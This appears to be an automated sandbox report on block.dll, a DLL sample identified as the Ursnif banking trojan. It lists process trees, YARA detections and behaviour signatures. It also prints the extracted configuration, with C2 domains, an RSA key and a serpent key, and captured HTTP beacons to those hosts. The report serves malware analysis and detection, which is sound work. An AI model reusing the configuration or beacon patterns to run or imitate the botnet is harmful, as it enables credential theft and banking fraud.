Play interactive tour

Edit tour

Analysis Report block.dll

Overview

General Information

Sample Name:	block.dll
Analysis ID:	403080
MD5:	5a7c87dab250cee78ce63ac34117012b
SHA1:	554c4ccf2341182768d475087d8a8bcfaa525a12
SHA256:	8a26c32848c9ea085505359f67927d1a744ec07303ed0013e592eca6b4df4790
Tags:	DLLGoziISFBUrsnif
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Ursnif

Writes or reads registry keys via WMI

Writes registry values via WMI

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the installation date of Windows

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 5720 cmdline: loaddll32.exe 'C:\Users\user\Desktop\block.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 4516 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\block.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5752 cmdline: rundll32.exe 'C:\Users\user\Desktop\block.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5592 cmdline: rundll32.exe C:\Users\user\Desktop\block.dll,Pape1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4648 cmdline: rundll32.exe C:\Users\user\Desktop\block.dll,Riverslow MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

iexplore.exe (PID: 5856 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6328 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5856 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 6452 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5856 CREDAT:17414 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5708 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 5816 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5708 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 6100 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5708 CREDAT:17414 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 6616 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6480 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6616 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 1972 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6616 CREDAT:17414 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

cleanup

Malware Configuration

Threatname: Ursnif

{"lang_id": "RU, CN", "RSA Public Key": "8oKmD0Ib40VYxHRgT7OnHwlxmK3U2F2Fl3GpR9KrKxvSCrIeiCLZWlQ2QCt+AnP+N5tCnTTv45/b0/D8Eb4xqxiXBnUy/ADWorQScIoNIPfBQqutzO+Ozy/mev4m2eZAuMivS2UNJVH4DVsYsAkGAC4GR+aszytDfGSZp3MklfgRJ6Noj034BrS4tQl5qmeWhJa+Of/CLdmkCwJurSEhMKu3NK7g4EVzni8lIJrDkWNCTaVL4CWXewbAOJFPwh8Y/20KkHTZmVKLmJJRcSj8yyH0avZDtWvJHRDxiI+JYUar2ia3phWwtqVzVhzYzz8aoUVzmlt840TF55o2e8TRUCEZNNmvmluqgNZzQuNIj68=", "c2_domain": ["app.buboleinov.com", "chat.veminiare.com", "chat.billionady.com", "app3.maintorna.com"], "botnet": "1500", "server": "580", "serpent_key": "ZQktwkM8O9lYn9oX", "sleep_time": "10", "SetWaitableTimer_value": "10"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.353402660.0000000005A48000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.353461083.0000000005A48000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.352720988.0000000003D28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.352839215.0000000003D28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.352637772.0000000003D28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.353493626.0000000005A48000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.353527674.0000000005A48000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.299036321.0000000001670000.00000040.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000004.00000003.353601646.0000000005A48000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000003.353567176.0000000005A48000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.352699094.0000000003D28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.352816951.0000000003D28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.352743659.0000000003D28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.294762520.0000000004D50000.00000040.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000004.00000003.286919905.0000000003050000.00000040.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000004.00000003.353611757.0000000005A48000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.352664971.0000000003D28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.352761373.0000000003D28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.285453583.0000000003F50000.00000040.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000004.00000003.353343104.0000000005A48000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 5720	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 5752	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
1.3.loaddll32.exe.1678d29.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
4.3.rundll32.exe.3058d29.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
4.2.rundll32.exe.6dd30000.3.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
1.2.loaddll32.exe.6dd30000.2.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
3.3.rundll32.exe.3f58d29.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
5.3.rundll32.exe.4d58d29.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 5.3.rundll32.exe.4d58d29.0.raw.unpack

Malware Configuration Extractor: Ursnif {"lang_id": "RU, CN", "RSA Public Key": "8oKmD0Ib40VYxHRgT7OnHwlxmK3U2F2Fl3GpR9KrKxvSCrIeiCLZWlQ2QCt+AnP+N5tCnTTv45/b0/D8Eb4xqxiXBnUy/ADWorQScIoNIPfBQqutzO+Ozy/mev4m2eZAuMivS2UNJVH4DVsYsAkGAC4GR+aszytDfGSZp3MklfgRJ6Noj034BrS4tQl5qmeWhJa+Of/CLdmkCwJurSEhMKu3NK7g4EVzni8lIJrDkWNCTaVL4CWXewbAOJFPwh8Y/20KkHTZmVKLmJJRcSj8yyH0avZDtWvJHRDxiI+JYUar2ia3phWwtqVzVhzYzz8aoUVzmlt840TF55o2e8TRUCEZNNmvmluqgNZzQuNIj68=", "c2_domain": ["app.buboleinov.com", "chat.veminiare.com", "chat.billionady.com", "app3.maintorna.com"], "botnet": "1500", "server": "580", "serpent_key": "ZQktwkM8O9lYn9oX", "sleep_time": "10", "SetWaitableTimer_value": "10"}

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_033D35A1 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

4_2_033D35A1

Source: block.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source:

Binary string: c:\Whether\class\156\Through\How.pdb source: block.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_033D4E9C Wow64EnableWow64FsRedirection,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,

4_2_033D4E9C

Source: global traffic	HTTP traffic detected: GET /u9JBOXOyCt1J/Cqk3pF0_2B2/evko0P1iOLkfYu/tE8kijPwXl6fpTUvGY0L0/uKSRiZsz1TrVOn7H/lYNbZbDXpFfEDld/SZEdzjQiJ4mBJjhxQf/lliemLK4E/fjiV_2FMKJMbBd5i_2F6/V_2Fz7Tym384w5xw_2F/kNwSikyIWBdKPim7R9vGWb/gFLpN9hJBqDsa/ZkxxO_2B/g7xuaBcPsCTSbIA7GEQ7zhu/w_2FuzPVom/0RGTspDSMbay7GsRJ/O_2BvpZGrQEs/hpy5azZaVzk/tO8Yj0mAC2rNEA/7Y_2FaW8HQeMqJNFtj5QK/iv0XWUt_2F3/3R HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: app.buboleinov.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zWr7XKiLQ_2F3QZ2bR/ZuzwfgbmQ/mjgvv5jUliwpj1wMmSf1/mVwZRrRJ02ozj18W4CC/_2FqTc0J0ACZs0Zo0yB15V/UkO_2BhXUEjqi/ylcme0uu/h88DPxTz52fwzk2KiAITqAX/y1YkE9ueOd/NzFODbcfeCN_2B548/9jGMMg_2FjQB/TCcN38_2FLl/w78Mf5LsU18OtD/O9ldbeaIz2YOBBV9govEw/if1bIKJhIzR9fYIT/Dva1E7_2F2LcgBj/3WJFp2Il273lx9FN_2/B45JK5S6v/rZZWdDOKWu65eMI2rNKK/RAsOHyLCy3eKhZf_2Fm/CD_2FuANPfLuHGjULRoA2Y/Paqy HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: app.buboleinov.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hPJ75Rz1l0Yg172f0/W92Rc6NrZORu/agJ84T4GWPF/71Su9Jrd5ILrko/1XWo5CLa_2Bx1ycL2fXGF/76IsZupbi6IIIogp/P_2BrqGlfT6Z_2F/9HIF9QL_2Ffn95EjHz/EKpbgAout/m_2FkBfNGzNFhXOxCcqe/1zQKvOOwqE_2B22qrZS/vj3rmMMb_2BsLkd2AZhDC4/602lvjtm6dYcP/dyzgfgBT/A_2BC4eofqol5orEsMEQPWe/zZ6Swnuj_2/FM3kwbNjGbF9dztKO/5Sul25wMK_2F/fSrDDmSQa3P/LwvXQje5tWHJ24/YCtfl_2Bd9Wgni_2B/yKHW HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: chat.billionady.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1Z7Zv_2Fo_2BBI/5yyu9xO7U6xQJUAU9LBdU/_2BZsJzv4AW1v4_2/FuBHkCgtXKYNI2J/fjLUpx4yvdGQ9xBWU8/nZ2UCR2Fn/6_2BJUjWbSDTFYEq01IK/G2MuJJozgl6fI_2Bxi6/8WHocMwy1m3c6beo7EybdT/0fZNT0A7jOYrz/ZJgKKaGn/V_2Bc6nIeAMBXcBQSTKS3tI/dRpB7HoFuq/5r0h_2Bic5oCoaHxQ/GZIQmnaYFeN7/lgmkXjg8R1P/o6CJiUeiWxo9TA/Om1BRSx_2BLEYhxw_2B1w/ztx7Xd1V_2BwFgLL/5ttSiFJbfjzPnDR/nMd_2BdWk4HTz_2Ftn/Va7N0lfshKE/mKz HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: chat.billionady.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cDNEPwBarUn/ROJH1XYkRfSClQ/qONBPlQo8FxG6mQW9Ogcz/u7mo1Dj2PullrRPq/bR_2BFpPLx7OhU9/HJBhAhHBzmstPPDOE1/w6ebBa_2B/KX_2BOm6FIW3gd6Bvbnj/Sh9h8HN_2BONCwGgPQr/IY0nkmO9u18wIpqrmMTW3z/GWi0vHa3h_2Bj/6IH92Uhj/Iom39I56_2BMfY2_2BRDxU0/VfXOZ9_2BQ/hDbFynpSdJTA10_2B/DTN9zUXGBVIL/6pinDdbjTIZ/J8liN5BZT7oU_2/FDetd44m1Cdm74WjgwpWw/7RPnYCrU0gXGaG9w/dolpQdALprU5fVz/g9lnmYz4c/oMbk6u HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: app3.maintorna.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6r_2FD5QsDWTjJjwzHfBaL/2HYJ2K06UlseV/lZ1msT18/ny_2FHLDol8VG6VjuFqLZ26/y1nZcgTjUQ/HL5YV0taxU5zFMebw/ouCjKnY1SB67/bctA52f0140/sHpnVH95T_2Fuj/QLIAvGeVws2XTmrrXV3BZ/psxvZSZg2i7jPF9N/caz3S5QCjepHp3W/l6q5V6Mw_2BHygdAjz/QFWLuSVDY/2iEYyTYQm6wj63ekurFy/nVWvwQ5A_2FY6vAZ0b2/ysxIi7hdttfqNZtbDq2s51/_2FLPh7LrbbPo/JhDaZ4qW/MGAYB_2BvyA3HE7Ywiz/pWy HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: app3.maintorna.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: app.buboleinov.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 03 May 2021 16:47:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Source: ~DF036A3D1EB4248F1E.TMP.19.dr, {A33D02D2-AC7A-11EB-90E5-ECF4BB570DC9}.dat.19.dr	String found in binary or memory: http://app.buboleinov.com/u9JBOXOyCt1J/Cqk3pF0_2B2/evko0P1iOLkfYu/tE8kijPwXl6fpTUvGY0L0/uKSRiZsz1TrV
Source: {A33D02D4-AC7A-11EB-90E5-ECF4BB570DC9}.dat.19.dr	String found in binary or memory: http://app.buboleinov.com/zWr7XKiLQ_2F3QZ2bR/ZuzwfgbmQ/mjgvv5jUliwpj1wMmSf1/mVwZRrRJ02ozj18W4CC/_2Fq
Source: ~DFE60F766B8C74F7D6.TMP.36.dr, {CDCCBAD9-AC7A-11EB-90E5-ECF4BB570DC9}.dat.36.dr	String found in binary or memory: http://app3.maintorna.com/6r_2FD5QsDWTjJjwzHfBaL/2HYJ2K06UlseV/lZ1msT18/ny_2FHLDol8VG6VjuFqLZ26/y1nZ
Source: {CDCCBAD7-AC7A-11EB-90E5-ECF4BB570DC9}.dat.36.dr, ~DF7FEBD80971BE8B6A.TMP.36.dr	String found in binary or memory: http://app3.maintorna.com/cDNEPwBarUn/ROJH1XYkRfSClQ/qONBPlQo8FxG6mQW9Ogcz/u7mo1Dj2PullrRPq/bR_2BFpP
Source: {BF692A67-AC7A-11EB-90E5-ECF4BB570DC9}.dat.29.dr, ~DF183688B2D13937F7.TMP.29.dr	String found in binary or memory: http://chat.billionady.com/1Z7Zv_2Fo_2BBI/5yyu9xO7U6xQJUAU9LBdU/_2BZsJzv4AW1v4_2/FuBHkCgtXKYNI2J/fjL
Source: {BF692A65-AC7A-11EB-90E5-ECF4BB570DC9}.dat.29.dr	String found in binary or memory: http://chat.billionady.com/hPJ75Rz1l0Yg172f0/W92Rc6NrZORu/agJ84T4GWPF/71Su9Jrd5ILrko/1XWo5CLa_2Bx1yc

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.299036321.0000000001670000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.294762520.0000000004D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.286919905.0000000003050000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.285453583.0000000003F50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.3.loaddll32.exe.1678d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.3058d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6dd30000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.6dd30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.3f58d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.4d58d29.0.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.353402660.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353461083.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352720988.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352839215.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352637772.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353493626.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353527674.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353601646.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353567176.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352699094.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352816951.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352743659.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353611757.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352664971.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352761373.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353343104.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5720, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5752, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.299036321.0000000001670000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.294762520.0000000004D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.286919905.0000000003050000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.285453583.0000000003F50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.3.loaddll32.exe.1678d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.3058d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6dd30000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.6dd30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.3f58d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.4d58d29.0.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.353402660.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353461083.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352720988.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352839215.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352637772.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353493626.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353527674.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353601646.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353567176.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352699094.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352816951.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352743659.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353611757.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352664971.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352761373.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353343104.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5720, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5752, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe

4_2_033D35A1

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD318D1 GetProcAddress,NtCreateSection,memset,	1_2_6DD318D1
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD31B89 NtMapViewOfSection,	1_2_6DD31B89
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD32485 NtQueryVirtualMemory,	1_2_6DD32485
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_033D3CA1 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	4_2_033D3CA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_033D81CD NtQueryVirtualMemory,	4_2_033D81CD

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD32264	1_2_6DD32264
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD7348A	1_2_6DD7348A
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD67AD7	1_2_6DD67AD7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_033D7FA8	4_2_033D7FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_033D6609	4_2_033D6609
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD7348A	4_2_6DD7348A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD67AD7	4_2_6DD67AD7

Source: block.dll

Binary or memory string: OriginalFilenameHow.dll8 vs block.dll

Source: block.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal72.troj.winDLL@24/69@6/2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_033D19E7 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

4_2_033D19E7

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{A33D02D0-AC7A-11EB-90E5-ECF4BB570DC9}.dat

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DF436970D6C9CDDC13.TMP

Jump to behavior

Source: block.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\block.dll,Pape1

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\block.dll'
